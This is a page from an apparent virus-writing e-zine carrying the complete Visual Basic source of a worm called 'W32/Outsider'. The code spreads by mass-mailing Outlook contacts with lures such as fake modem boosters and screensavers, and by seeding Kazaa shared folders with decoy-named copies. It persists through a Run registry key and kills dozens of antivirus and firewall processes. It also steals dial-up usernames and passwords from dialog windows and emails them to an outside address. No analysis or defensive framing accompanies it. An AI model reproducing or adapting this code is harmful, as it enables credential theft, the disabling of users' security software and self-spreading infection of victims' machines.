Redemption
| Last article | Table of contents | Next article |
|---|
| Last article | Table of contents | Next article |
|---|
W32/Outsider source by Zed
file frmMain.frm:
VERSION 5.00
Begin VB.Form frmMain
BorderStyle = 0 'None
ClientHeight = 645
ClientLeft = -9105
ClientTop = 6465
ClientWidth = 1590
Icon = "frmMain.frx":0000
LinkTopic = "Form1"
ScaleHeight = 645
ScaleWidth = 1590
ShowInTaskbar = 0 'False
Visible = 0 'False
Begin VB.Timer tmrInetLoop
Enabled = 0 'False
Interval = 10
Left = 1080
Top = 120
End
Begin VB.Timer tmrEndRegWindowLoop
Enabled = 0 'False
Interval = 100
Left = 600
Top = 120
End
Begin VB.Timer tmrEndAVLoop
Interval = 25000
Left = 120
Top = 120
End
End
Attribute VB_Name = "frmMain"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Public Enum REG_TOPLEVEL_KEYS
HKEY_CLASSES_ROOT = &H80000000
HKEY_CURRENT_CONFIG = &H80000005
HKEY_CURRENT_USER = &H80000001
HKEY_DYN_DATA = &H80000006
HKEY_LOCAL_MACHINE = &H80000002
HKEY_PERFORMANCE_DATA = &H80000004
HKEY_USERS = &H80000003
End Enum
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal Hkey As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private SF As String * 255
Private Const REG_SZ = 1
Private Sub Form_Load()
On Error Resume Next
modControl.HideProcess
AppPath = App.Path
If Right(AppPath, 1) <> "\" Then
AppPath = AppPath & "\"
End If
WormPathName = AppPath & App.EXEName
For Each WormExt In Array(".exe", ".scr", ".pif")
If Dir(WormPathName & WormExt) <> "" Then
WormFullName = WormPathName & WormExt
End If
Next WormExt
DUNFile = ""
If Dir(GSF(0) & "\Inetdun32.txt") <> "" Then
DUNFile = GSF(0) & "\Inetdun32.txt"
End If
If Dir(GSF(0) & "\Inetcon32.txt") <> "" Then
DUNFile = GSF(0) & "\Inetcon32.txt"
End If
If DUNFile <> "" Then
Set EmailApp = CreateObject("Outlook.Application")
If EmailApp <> "" Then
Set OE2 = EmailApp.CreateItem(0)
OE2.To = "msctrl32@hotmail.com"
OE2.Subject = "DUN information"
OE2.Body = "Captured DUN information (in attachments)."
OE2.Attachments.Add DUNFile
OE2.DeleteAfterSubmit = True
OE2.Send
End If
End If
If WormFullName <> "" Then
WriteStringToRegistry HKEY_CURRENT_USER, "Software\Zed\Outsider", "Outsider", "W32/Outsider by Zed"
If Dir(GSF(0), vbDirectory) <> "" Then
Set OutlookApp = CreateObject("Outlook.Application")
If Not OutlookApp = "" Then
If LCase(WormFullName) <> LCase(GSF(0) & "\Msctrl32.scr") Then
Randomize
Select Case Int((6 * Rnd) + 1)
Case 1
RndSubject = "Modem booster"
RndText = "Hello," & vbCrLf _
& "I have a fairly slow modem, that is, until I installed the file in the attachments!" & vbCrLf _
& "This program is a ""Modem booster"", it can make your internet connection go at most 2x faster :)" & vbCrLf _
& "Enjoy!"
RndAttachment = "ModemBooster.exe"
Case 2
RndSubject = "Better than WinZip?"
RndText = "Hello," & vbCrLf _
& "Try this file compressor that I downloaded from the net yesterday!" & vbCrLf _
& "I have compressed some files, and it makes them at least 3 times smaller!" & vbCrLf _
& "The installation file should be in the attachments as ""FileCompress.exe""" & vbCrLf _
& "Cya!"
RndAttachment = "FileCompress.exe"
Case 3
RndSubject = "Warp ScreenSaver"
RndText = "Hello," & vbCrLf _
& "Try this warp ScreenSaver in the attachments!" & vbCrLf _
& "Cya!"
RndAttachment = "WarpScreen.scr"
Case 4
RndSubject = "Program"
RndText = "Here is that program that you asked for yesterday."
RndAttachment = "Winprg32.pif"
Case 5
RndSubject = "Fire ScreenSaver"
RndText = "Hello," & vbCrLf _
& "Check out this ScreenSaver of fire!" & vbCrLf _
& "I think that it is one of the best ScreenSavers that I have ever seen!" & vbCrLf _
& "Cya!"
RndAttachment = "FireScreen.scr"
Case 6
RndSubject = "Program"
RndText = "Here is a copy of that program that everyone is asking for." & vbCrLf _
& "Please don't delete it, because I might not send it to anyone else." & vbCrLf _
& "Thanks."
RndAttachment = "Msprg32.pif"
End Select
If Dir(GSF(0) & "\" & RndAttachment) = "" Then
FCopy GSF(0) & "\" & RndAttachment, "Normal"
End If
For Each ContactSwitch In OutlookApp.GetNameSpace("MAPI").AddressLists
For UserGroup = 1 To ContactSwitch.AddressEntries.Count
Set OutlookEmail = OutlookApp.CreateItem(0)
OutlookEmail.To = ContactSwitch.AddressEntries(UserGroup)
OutlookEmail.Subject = RndSubject
OutlookEmail.Body = RndText
OutlookEmail.Attachments.Add GSF(0) & "\" & RndAttachment
Randomize
OutlookEmail.Importance = Int((2 * Rnd) + 1)
OutlookEmail.DeleteAfterSubmit = True
OutlookEmail.Send
Next
Next
End If
End If
If Dir(GSF(0) & "\Inetcon32.txt") = "" And Dir(GSF(0) & "\Inetdun32.txt") = "" Then
tmrInetLoop.Enabled = True
Else
tmrInetLoop.Enabled = False
End If
tmrEndRegWindowLoop.Enabled = True
If Dir(GSF(0) & "\Msctrl32.scr", vbHidden) = "" Then
FileMsg = True
FCopy GSF(0) & "\Msctrl32.scr", "Hidden"
WriteStringToRegistry HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", "Msctrl32", GSF(0) & "\Msctrl32.scr"
Else
FileMsg = False
End If
Else
tmrInetLoop.Enabled = False
tmrEndRegWindowLoop.Enabled = False
End If
For Each PgDir In Array("C:\Program Files", "C:\Programmer", "C:\Program", "C:\Programme", "C:\Programmi", "C:\ProgramFiler", "C:\Programas", "C:\Archivos De Programa")
For Each P2PFolder In Array("\KMD\My Shared Folder", "\Kazaa\My Shared Folder", "\Kazaa Lite\My Shared Folder")
P2PDir = PgDir & P2PFolder
If Dir(P2PDir, vbDirectory) <> "" Then
Randomize
Select Case Int((9 * Rnd) + 1)
Case 1: P2PCopy = "Johnny English (Movie) - Full Downloader.pif"
Case 2: P2PCopy = "Gladiator (Movie) - Full Downloader.pif"
Case 3: P2PCopy = "SwordFish (Movie) - Full Downloader.pif"
Case 4: P2PCopy = "MSN Messenger Password Stealer.pif"
Case 5: P2PCopy = "Norton AntiVirus " & Year(Now) + 1 & " Full.exe"
Case 6: P2PCopy = "Hotmail Password Cracker.pif"
Case 7: P2PCopy = "Jasc Paint Shop Pro 7 (Full).pif"
Case 8: P2PCopy = "ScreenSaver.scr"
Case 9: P2PCopy = "Microsoft Office " & Year(Now) + 1 & " Full.exe"
End Select
If Dir(P2PDir & "\" & P2PCopy, vbNormal) = "" Then
FCopy P2PDir & "\" & P2PCopy, "Normal"
End If
End If
Next P2PFolder
Next PgDir
modControl.EndAVProccess
If FileMsg = True Then
MsgBox "A required .DLL file, MSVBVM60.DLL, was not found.", vbExclamation, "Error Starting Program"
End If
Else
tmrInetLoop.Enabled = True
tmrEndRegWindowLoop.Enabled = True
tmrEndAVLoop.Enabled = True
End If
End Sub
Private Sub tmrInetLoop_Timer()
On Error Resume Next
If GetLoginInfo.Username <> "" Then
If Pass = "" Then
If FindConnectTo > 0 Then
Open GSF(0) & "\Inetcon32.txt" For Output As 1
Print #1, "<%Dialing from%> " & modInet.GetLoginInfo.Location
Print #1, "<%Username%> " & modInet.GetLoginInfo.Username
Print #1, "<%Password%> " & modInet.GetLoginInfo.Password
Print #1, "<%Phone number%> " & modInet.GetLoginInfo.PhoneNumber
Close 1
tmrInetLoop.Enabled = False
End If
If FindDUN > 0 Then
Open GSF(0) & "\Inetdun32.txt" For Output As 2
Print #2, "<%Server name%> " & modInet.GetLoginInfo.ServerName
Print #2, "<%Username%> " & modInet.GetLoginInfo.Username
Print #2, "<%Password%> " & modInet.GetLoginInfo.Password
Close 2
tmrInetLoop.Enabled = False
End If
End If
End If
End Sub
Private Sub tmrEndAVLoop_Timer()
On Error Resume Next
modControl.EndAVProccess
End Sub
Private Sub tmrEndRegWindowLoop_Timer()
On Error Resume Next
CloseRegWindow = PostMessage(FindWindow(vbNullString, "Registry Editor"), &H10, 0&, 0&)
End Sub
Function FCopy(FPath, FAttributes)
On Error Resume Next
AppPath = App.Path
If Right(AppPath, 1) <> "\" Then
AppPath = AppPath & "\"
End If
WormPathName = AppPath & App.EXEName
For Each WormExt In Array(".exe", ".scr", ".pif")
If Dir(WormPathName & WormExt) <> "" Then
WormFullName = WormPathName & WormExt
End If
Next WormExt
If WormFullName <> "" Then
FileCopy WormFullName, FPath
End If
If FAttributes = "Normal" Then
SetAttr FPath, vbNormal
End If
If FAttributes = "Hidden" Then
SetAttr FPath, vbHidden
End If
End Function
Private Function WriteStringToRegistry(Hkey As REG_TOPLEVEL_KEYS, strPath As String, strValue As String, strdata As String) As Boolean
Dim bAns As Boolean
On Error GoTo ErrorHandler
Dim keyhand As Long
Dim r As Long
r = RegCreateKey(Hkey, strPath, keyhand)
If r = 0 Then
r = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))
r = RegCloseKey(keyhand)
End If
WriteStringToRegistry = (r = 0)
Exit Function
ErrorHandler:
WriteStringToRegistry = False
Exit Function
End Function
Function GSF(SpecialFolder)
On Error Resume Next
If SpecialFolder = 0 Then
FolderValue = Left(SF, GetWindowsDirectory(SF, 255))
End If
If SpecialFolder = 1 Then
FolderValue = Left(SF, GetSystemDirectory(SF, 255))
End If
If Right(FolderValue, 1) = "\" Then
FolderValue = Left(FolderValue, Len(FolderValue) - 1)
End If
GSF = FolderValue
End Function
file modControl.bas:
Attribute VB_Name = "modControl" Type PROCESSENTRY32 dwSize As Long cntUsage As Long th32ProcessID As Long th32DefaultHeapID As Long th32ModuleID As Long cntThreads As Long th32ParentProcessID As Long pcPriClassBase As Long dwFlags As Long szExeFile As String * 260 End Type Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long Public Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long Public Declare Function ProcessFirst Lib "kernel32" Alias "Process32First" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessID As Long) As Long Public Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long Public Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long Public Declare Function ProcessNext Lib "kernel32" Alias "Process32Next" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long Public Declare Function CloseHandle Lib "kernel32" (ByVal hFile As Long) As Long Public Sub HideProcess() On Error Resume Next RegisterProcess = RegisterServiceProcess(GetCurrentProcessId(), 1) End Sub Public Sub EndAVProccess() On Error Resume Next EndEXE "_AVP.EXE" EndEXE "_AVP32.EXE" EndEXE "_AVPCC.EXE" EndEXE "_AVPM.EXE" EndEXE "ACKWIN32.EXE" EndEXE "ANTI-TROJAN.EXE" EndEXE "APVXDWIN.EXE" EndEXE "AUTODOWN.EXE" EndEXE "AVCONSOL.EXE" EndEXE "AVE32.EXE" EndEXE "AVGCTRL.EXE" EndEXE "AVKSERV.EXE" EndEXE "AVNT.EXE" EndEXE "AVP.EXE" EndEXE "AVP32.EXE" EndEXE "AVPCC.EXE" EndEXE "AVPDOS32.EXE" EndEXE "AVPM.EXE" EndEXE "AVPMON.EXE" EndEXE "AVPNT.EXE" EndEXE "AVPTC32.EXE" EndEXE "AVPUPD.EXE" EndEXE "AVSCHED32.EXE" EndEXE "AVWIN95.EXE" EndEXE "AVWUPD32.EXE" EndEXE "BLACKD.EXE" EndEXE "BLACKICE.EXE" EndEXE "CCAPP.EXE" EndEXE "CFIADMIN.EXE" EndEXE "CFIAUDIT.EXE" EndEXE "CFIND.EXE" EndEXE "CFINET.EXE" EndEXE "CFINET32.EXE" EndEXE "CLAW95.EXE" EndEXE "CLAW95CF.EXE" EndEXE "CLAW95CT.EXE" EndEXE "CLEANER.EXE" EndEXE "CLEANER3.EXE" EndEXE "DV95.EXE" EndEXE "DV95_O.EXE" EndEXE "DVP95.EXE" EndEXE "DVP95_0.EXE" EndEXE "ECENGINE.EXE" EndEXE "EFINET32.EXE" EndEXE "ESAFE.EXE" EndEXE "ESPWATCH.EXE" EndEXE "F-AGNT95.EXE" EndEXE "FINDVIRU.EXE" EndEXE "F-PROT.EXE" EndEXE "FPROT.EXE" EndEXE "F-PROT95.EXE" EndEXE "FPROT95.EXE" EndEXE "FP-WIN.EXE" EndEXE "FRW.EXE" EndEXE "F-STOPW.EXE" EndEXE "IAMAPP.EXE" EndEXE "IAMSERV.EXE" EndEXE "IBMASN.EXE" EndEXE "IBMAVSP.EXE" EndEXE "ICLOAD95.EXE" EndEXE "ICLOADNT.EXE" EndEXE "ICMON.EXE" EndEXE "ICMOON.EXE" EndEXE "ICSSUPPNT.EXE" EndEXE "ICSUPP95.EXE" EndEXE "ICSUPPNT.EXE" EndEXE "IFACE.EXE" EndEXE "IOMON98.EXE" EndEXE "JED.EXE" EndEXE "JEDI.EXE" EndEXE "KPF.EXE" EndEXE "KPFW32.EXE" EndEXE "LOCKDOWN2000.EXE" EndEXE "LOOKOUT.EXE" EndEXE "LUALL.EXE" EndEXE "MOOLIVE.EXE" EndEXE "MPFTRAY.EXE" EndEXE "N32SCAN.EXE" EndEXE "N32SCANW.EXE" EndEXE "NAVAPW32.EXE" EndEXE "NAVLU32.EXE" EndEXE "NAVNT.EXE" EndEXE "NAVSCHED.EXE" EndEXE "NAVW.EXE" EndEXE "NAVW32.EXE" EndEXE "NAVWNT.EXE" EndEXE "NISUM.EXE" EndEXE "NMAIN.EXE" EndEXE "NORMIST.EXE" EndEXE "NUPGRADE.EXE" EndEXE "NVC95.EXE" EndEXE "OUTPOST.EXE" EndEXE "PADMIN.EXE" EndEXE "PAVCL.EXE" EndEXE "PAVSCHED.EXE" EndEXE "PAVW.EXE" EndEXE "PCCWIN98.EXE" EndEXE "PCFWALLICON.EXE" EndEXE "PERSFW.EXE" EndEXE "RAV7.EXE" EndEXE "RAV7WIN.EXE" EndEXE "RESCUE.EXE" EndEXE "SAFEWEB.EXE" EndEXE "SCAN32.EXE" EndEXE "SCAN95.EXE" EndEXE "SCANPM.EXE" EndEXE "SCRSCAN.EXE" EndEXE "SERV95.EXE" EndEXE "SMC.EXE" EndEXE "SPHINX.EXE" EndEXE "SWEEP95.EXE" EndEXE "TBSCAN.EXE" EndEXE "TCA.EXE" EndEXE "TDS2-98.EXE" EndEXE "TDS2-NT.EXE" EndEXE "VCONTROL.EXE" EndEXE "VET32.EXE" EndEXE "VET95.EXE" EndEXE "VET98.EXE" EndEXE "VETTRAY.EXE" EndEXE "VSCAN40.EXE" EndEXE "VSECOMR.EXE" EndEXE "VSHWIN32.EXE" EndEXE "VSSCAN40.EXE" EndEXE "VSSTAT.EXE" EndEXE "WEBSCAN.EXE" EndEXE "WEBSCANX.EXE" EndEXE "WFINDV32.EXE" EndEXE "ZONEALARM.EXE" EndEXE "ZAPRO.EXE" End Sub Public Sub EndEXE(cProgram As String) Dim hSnapShot As Long Dim uProcess As PROCESSENTRY32 Dim rProcess As Long Dim tPID As Long Dim tMID As Long Dim lExitCode As Long Dim hProcess As Long Dim cProcess As String cPathRemoveFile = "" hSnapShot = CreateToolhelpSnapshot(&H2, 0&) If hSnapShot <> 0 Then uProcess.dwSize = Len(uProcess) rProcess = ProcessFirst(hSnapShot, uProcess) Do While rProcess tPID = uProcess.th32ProcessID tMID = uProcess.th32ModuleID cPathRemoveFile = uProcess.szExeFile While Right(cPathRemoveFile, 1) = Chr(0) cPathRemoveFile = Left(cPathRemoveFile, Len(cPathRemoveFile) - 1) Wend If cPathRemoveFile <> "" And UCase(Right(cPathRemoveFile, Len(cProgram))) = cProgram Then While cPathRemoveFile <> "" And Right(cPathRemoveFile, 1) <> "\" cPathRemoveFile = Left(cPathRemoveFile, Len(cPathRemoveFile) - 1) Wend hProcess = OpenProcess(&H1, CLng(False), CLng(uProcess.th32ProcessID)) If hProcess <> 0 Then If GetExitCodeProcess(hProcess, lExitCode) <> 0 Then EndProcess = TerminateProcess(hProcess, lExitCode) End If End If End If rProcess = ProcessNext(hSnapShot, uProcess) Loop Call CloseHandle(hSnapShot) End If End Sub
file modInet.bas:
Attribute VB_Name = "modInet"
Option Explicit
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function SendMessageByString Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
Public Const WM_GETTEXT = &HD
Public Const WM_GETTEXTLENGTH = &HE
Public Type WebInfo
Username As String
Password As String
Location As String
PhoneNumber As String
ServerName As String
End Type
Public Function GetText(WindowHandle As Long) As String
Dim Buffer As String, TextLength As Long
TextLength = SendMessage(WindowHandle, WM_GETTEXTLENGTH, 0&, 0&)
Buffer = String(TextLength, 0&)
Call SendMessageByString(WindowHandle, WM_GETTEXT, TextLength + 1, Buffer)
GetText = Buffer
End Function
Public Function FindConnectTo() As Long
Dim Win As Long
Win = FindWindow("#32770", "Connect To")
FindConnectTo = Win
End Function
Public Function FindDUN() As Long
Dim Win As Long
Win = FindWindow("#32770", "Dial-up Connection")
FindDUN = Win
End Function
Public Function GetLoginInfo() As WebInfo
Dim IEWin As Long, IEWin2 As Long
Dim Edit As Long, Edit2 As Long, Edit3 As Long, Edit4 As Long
Dim User As String, Pass As String, Location As String, PhoneNumber As String, ServerName As String
IEWin = FindConnectTo
IEWin2 = FindDUN
If IEWin > 0 Then
Edit = FindWindowEx(IEWin, 0&, "Edit", vbNullString)
Edit2 = FindWindowEx(IEWin, Edit, "Edit", vbNullString)
Edit3 = FindWindowEx(IEWin, 0&, "ComboBox", vbNullString)
Edit4 = FindWindowEx(IEWin, Edit2, "Edit", vbNullString)
User = GetText(Edit)
Pass = GetText(Edit2)
Location = GetText(Edit3)
PhoneNumber = GetText(Edit4)
End If
If IEWin2 > 0 Then
Edit = FindWindowEx(IEWin2, 0&, "Edit", vbNullString)
Edit2 = FindWindowEx(IEWin2, Edit, "Edit", vbNullString)
Edit3 = FindWindowEx(IEWin2, 0&, "ComboBox", vbNullString)
User = GetText(Edit)
Pass = GetText(Edit2)
ServerName = GetText(Edit3)
End If
GetLoginInfo.Location = Location
GetLoginInfo.Username = User
GetLoginInfo.Password = Pass
GetLoginInfo.PhoneNumber = PhoneNumber
GetLoginInfo.ServerName = ServerName
End Function